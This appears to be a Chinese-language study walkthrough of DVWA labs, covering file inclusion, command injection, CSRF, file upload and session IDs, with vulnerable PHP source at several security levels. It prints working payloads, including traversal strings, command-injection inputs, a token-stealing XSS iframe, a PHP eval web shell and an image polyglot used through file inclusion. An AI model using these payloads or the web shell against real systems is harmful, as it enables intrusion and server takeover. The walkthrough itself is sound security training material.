1
2
3
4
5
6

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

1
2
3

Warning: include(iviirjgiegij): failed to open stream: No such file or directory in D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening 'iviirjgiegij' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\index.php on line 36

1

..\..\hackable\flags\fi.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
// 使用str_replace函数移除$file字符串中所有的"http://"和"https://"子串。
$file = str_replace( array( "../", "..\"" ), "", $file );
// 继续使用str_replace函数，这次移除$file中所有向上一级目录的路径指示符，无论是"../"还是"..\"（考虑到不同操作系统的路径分隔符）。

?>

1

..././..././hackable/flags/fi.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
// 使用fnmatch函数检查$file是否匹配模式"file*"
// fnmatch用于实现shell风格的通配符匹配，这里的"file*"会匹配以"file"开头的任何字符串。
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

1

file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\flags\fi.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<?php

// 当表单提交按钮（Submit）被触发时执行以下代码
if (isset($_POST['Submit'])) {

    // 获取用户通过POST方式提交的IP地址数据
    // 注意：此处使用$_REQUEST可能会受到GET和POST两种方式的影响，为了安全性建议明确指定来源（如$_POST）
    $target = $_REQUEST['ip'];

    // 检查当前服务器的操作系统类型
    if (stristr(php_uname('s'), 'Windows NT')) {
        // 如果是Windows操作系统，则构建用于执行ping命令的字符串
        // 使用单引号包围命令并在末尾添加从用户输入获取的IP地址
        // 注意：这段代码存在命令注入风险，因为未对$user变量进行任何过滤或转义
        $cmd = shell_exec('ping ' . $target);
    } else {
        // 否则，认为是类*nix系统（Unix/Linux/Mac OS等）
        // 构建用于执行ping命令的字符串，'-c 4' 参数表示发送4个ICMP请求包
        // 同样，这段代码也存在命令注入风险
        $cmd = shell_exec('ping -c 4 ' . $target);
    }

    // 将执行命令的结果赋值给 $cmd 变量，并将其作为HTML预格式化的文本显示给用户
    // 这里展示了命令执行结果，但也暴露了潜在的安全风险
    $html .= "<pre>{$cmd}</pre>";
}

?>

1
2
3
4

192.168.90.127 && ipconfig
192.168.90.127 & ipconfig
0.0.0.0 || ipconfig
192.168.90.127 | ipconfig

1
2
3
4
5
6
7
8
9

// 对于Windows和*nix系统，都应先对用户输入进行转义
$target_sanitized = escapeshellarg($target);

// 然后构建命令
if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec('ping ' . $target_sanitized);
} else {
    $cmd = shell_exec('ping -c 4 ' . $target_sanitized);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php

// 当检测到表单已提交（即点击了Submit按钮）时执行以下代码
if (isset($_POST['Submit'])) {

    // 获取用户通过POST方法提交的IP地址数据
    // 注意：这里使用$_REQUEST会同时接收GET和POST数据，若只期望POST数据，应使用$_POST['ip']
    $target = $_REQUEST['ip'];

    // 创建黑名单字符数组，其中包含了可能导致命令注入的特殊字符（在这里是逻辑运算符）
    $substitutions = array(
        '&&' => '', // 去除逻辑与符号，防止连续命令执行
        ';'  => '', // 去除分号，防止多条命令执行
    );

    // 使用str_replace函数替换掉用户输入中黑名单内的字符
    // 这是一个初级防护措施，但并不能完全阻止所有类型的命令注入攻击
    $target = str_replace(array_keys($substitutions), $substitutions, $target);

    // 检测当前服务器的操作系统类型
    if (stristr(php_uname('s'), 'Windows NT')) {
        // 如果是Windows操作系统，则执行ping命令
        $cmd = shell_exec('ping ' . $target);
    } else {
        // 否则，认为是类*nix系统（Unix/Linux/Mac OS等）
        // 执行带有-c参数的ping命令，表示向目标主机发送4个数据包
        $cmd = shell_exec('ping -c 4 ' . $target);
    }

    // 将ping命令的输出结果以HTML预格式化的文本形式呈现给用户
    // 虽然进行了部分字符过滤，但仍然需要注意此代码仍可能存在命令注入风险
    $html .= "<pre>{$cmd}</pre>";
}

?>

1
2
3

192.168.90.127 & ipconfig
0.0.0.0 || ipconfig
192.168.90.127 | ipconfig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

<?php

// 当检测到表单已提交（Submit按钮已被点击）时执行以下代码
if (isset($_POST['Submit'])) {

    // 获取用户提交的IP地址输入，并使用trim函数去除首尾空白字符
    $target = trim($_REQUEST['ip']);

    // 定义一个黑名单字符数组，包含一些可能用于命令注入的特殊字符
    $substitutions = array(
        '&'   => '',     // 空字符替换"&"（逻辑与符号，用于连接多个命令）
        ';'   => '',     // 空字符替换";"（命令分隔符，用于执行多条命令）
        '| '  => '',     // 空字符替换"| "（管道符号，用于命令间通信）！！！我真的没看到这里居然有一个空格！！！
        '-'   => '',     // 空字符替换"-"（某些命令中的选项标志或组合命令）
        '$'   => '',     // 空字符替换"$"（环境变量引用或bash命令执行）
        '('   => '',     // 空字符替换"("（子shell执行或命令组）
        ')'   => '',     // 空字符替换")"（与"("配套使用）
        '`'   => '',     // 空字符替换"`"（命令替换）
        '||'  => '',     // 空字符替换"||"（逻辑或符号，用于命令执行失败时执行下一条命令）
    );

    // 使用str_replace函数，将用户输入中黑名单内所有字符替换为空字符
    // 这是一种针对命令注入的基本防御措施，但无法保证完全抵御所有攻击手法
    $target = str_replace(array_keys($substitutions), $substitutions, $target);

    // 判断当前操作系统类型
    if (stristr(php_uname('s'), 'Windows NT')) {
        // 若是Windows操作系统，则执行ping命令
        $cmd = shell_exec('ping ' . $target);
    } else {
        // 否则，认为是类*nix系统（Unix/Linux/Mac OS等）
        // 执行带有-c参数的ping命令，表示向目标主机发送4个数据包
        $cmd = shell_exec('ping -c 4 ' . $target);
    }

    // 将ping命令执行的原始输出反馈给用户，以HTML预格式化的文本形式展示
    // 尽管进行了字符过滤，但此代码依然存在命令注入的风险
    $html .= "<pre>{$cmd}</pre>";
}

?>

1

192.168.90.127 |ipconfig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<?php

// 当表单提交按钮（Submit）被触发时执行以下代码
if (isset($_POST['Submit'])) {

    // 验证Anti-CSRF令牌，防止跨站请求伪造攻击
    checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

    // 获取用户输入的IP地址，并使用stripslashes函数去除反斜杠（\）以防止魔术引号攻击
    $target = $_REQUEST['ip'];
    $target = stripslashes($target);

    // 将IP地址拆分为四个八位字节（点分十进制形式）
    $octet = explode(".", $target);

    // 检查每个八位字节是否都是整数
    if (
        (is_numeric($octet[0])) &&
        (is_numeric($octet[1])) &&
        (is_numeric($octet[2])) &&
        (is_numeric($octet[3])) &&
        (sizeof($octet) == 4)
    ) {
        // 如果所有四个八位字节均为整数，则重新组合IP地址
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 根据操作系统类型执行ping命令
        if (stristr(php_uname('s'), 'Windows NT')) {
            // 如果是Windows操作系统
            $cmd = shell_exec('ping ' . $target);
        } else {
            // 如果是*nix系统（如Unix/Linux/Mac OS）
            $cmd = shell_exec('ping -c 4 ' . $target);
        }

        // 将ping命令执行结果以HTML预格式化文本的形式返回给用户
        $html .= "<pre>{$cmd}</pre>";
    } else {
        // 用户输入的不是有效的IP地址，显示错误消息
        $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// 生成新的Anti-CSRF令牌并存储到session中
generateSessionToken();

?>

**注释说明：**

- 此PHP脚本主要处理用户提交的IP地址，并执行ping命令检查其连通性。
- 使用`checkToken`函数验证用户提交的Anti-CSRF令牌，确保请求来自合法用户而非第三方恶意伪造。
- 获取用户输入的IP地址，并通过`stripslashes`函数移除可能存在的反斜杠，以防止SQL注入或其他基于字符串逃逸的攻击。
- 将IP地址拆分成四个八位字节，然后逐一检查它们是否为数字，确保IP地址格式正确。
- 根据服务器操作系统类型执行相应的ping命令，并将结果显示给用户。
- 在脚本末尾调用`generateSessionToken`函数生成新的Anti-CSRF令牌，为后续请求提供保护。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php

if(isset($_GET['Change'])) { // 检查是否有请求更改密码的动作
    // 获取用户输入的新密码和确认密码
    $pass_new  = $_GET['password_new'];
    $pass_conf = $_GET['password_conf'];

    // 检查两次输入的密码是否匹配
    if ($pass_new == $pass_conf) { 
        // 密码匹配
        // 防止SQL注入，转义新密码字符串
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        
        // 对新密码进行MD5哈希加密（注意：MD5加密在此处已经过时，不建议用于存储密码）
        $pass_new = md5($pass_new);

        // 构造SQL更新语句，更新当前登录用户（由dvwaCurrentUser()函数获取）的密码
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";

        // 执行SQL查询
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');

        // 如果密码成功更改，则反馈给用户
        $html .= "<pre>Password Changed.</pre>";
    } else {
        // 如果两次输入的密码不匹配，则反馈错误信息
        $html .= "<pre>Passwords did not match.</pre>";
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

1

http://dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
    //检查$_SERVER['HTTP_REFERER']，看看请求是否来自包含当前服务器名称$_SERVER['SERVER_NAME']的地址。stripos函数用于查找HTTP_REFERER是否包含服务器名
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

1

http://dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

1
2

<div>Name:test<br/>Message:this is a test comment.<br/></div>
<div>Name:<iframe src='../csrf' οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)><br/>Message:1<br/></div>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>
    
    
<?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义目标文件夹路径，这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量，指向网站根目录
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 获取上传文件的原始名称，并将其附加到目标路径上，以构建完整的文件存储路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // 如果文件未成功移动（例如，由于权限问题或文件大小超出限制等），输出错误信息
        $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // 文件成功上传至指定位置，输出成功信息
        $html .= "<pre>{$target_path} successfully uploaded!</pre>";
    }
}

// 注解：
// 上述代码实现了一个简单的文件上传功能，但缺少必要的安全验证，如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中，应在将文件移动到目标路径之前，添加详细的验证和清理步骤以确保上传行为的安全性。
?>

1

<?php @eval($_POST['attack']) ?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>
    
    
    
    
    
<?php

// 检查是否设置了 'Upload' POST 参数，这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {

    // 设置目标上传路径，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 使用原始文件名构建完整的文件保存路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件的信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];      // 文件名
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];      // 文件类型（MIME类型）
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];      // 文件大小

    // 检查文件是否为允许的图像格式（JPEG或PNG）且文件大小小于100KB
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) {

        // 尝试将上传的临时文件移动到指定的目标路径
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 如果文件无法移动（可能是权限问题或路径错误），输出错误信息
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件成功上传，输出成功信息及上传后的文件路径
            $html .= "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件不是允许的类型或超过大小限制，输出错误信息
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

1

Content-Type: image/png; 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>
    
    
    
    
<?php

// 检查是否设置了 'Upload' POST 参数，表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {

    // 设置文件上传的目标目录，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 从上传文件名中提取文件的基本名称，包括其扩展名，用于构建完整的目标文件路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件的详细信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];       // 原始文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名，通过查找最后一个点的位置来提取
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];       // 文件大小（字节）
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // 上传文件的临时存储路径

    // 检查文件扩展名是否为允许的图像格式（不区分大小写），文件大小是否小于100KB，并确认是有效的图像文件
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像

        // 尝试将上传的临时文件移动到指定的目标路径
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 如果文件未能成功移动（可能因权限问题或路径错误），输出错误信息
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件成功上传，输出包含文件路径的成功信息
            $html .= "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件扩展名不符、过大或不是有效的图像文件，输出错误信息
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

1

copy muma.png/b + muma.php/a 1.png

1

http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Where are we going to be writing to?
	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
		( $uploaded_size < 100000 ) &&
		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
		if( $uploaded_type == 'image/jpeg' ) {
			$img = imagecreatefromjpeg( $uploaded_tmp );
			imagejpeg( $img, $temp_file, 100);
		}
		else {
			$img = imagecreatefrompng( $uploaded_tmp );
			imagepng( $img, $temp_file, 9);
		}
		imagedestroy( $img );

		// Can we move the file to the web root from the temp folder?
		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
			// Yes!
			$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
		}
		else {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}

		// Delete any temp files
		if( file_exists( $temp_file ) )
			unlink( $temp_file );
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
       $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

1

dvwaSession=4; PHPSESSID=i2p425277d67521jah1hpkh3hr; security=low

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    //time() 函数返回自 Unix 纪元（January 1 1970 00:00:00 GMT）起的当前时间的秒数。
    setcookie("dvwaSession", $cookie_value);
}
?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
       $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

1

dvwaSession=cfcd208495d565ef66e7dff9f98764da; dvwaSession=1715928053; PHPSESSID=26ks0v1tpvqsu15da00mn3i2cq; security=high

1
2
3
4
5
6
7
8
9

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>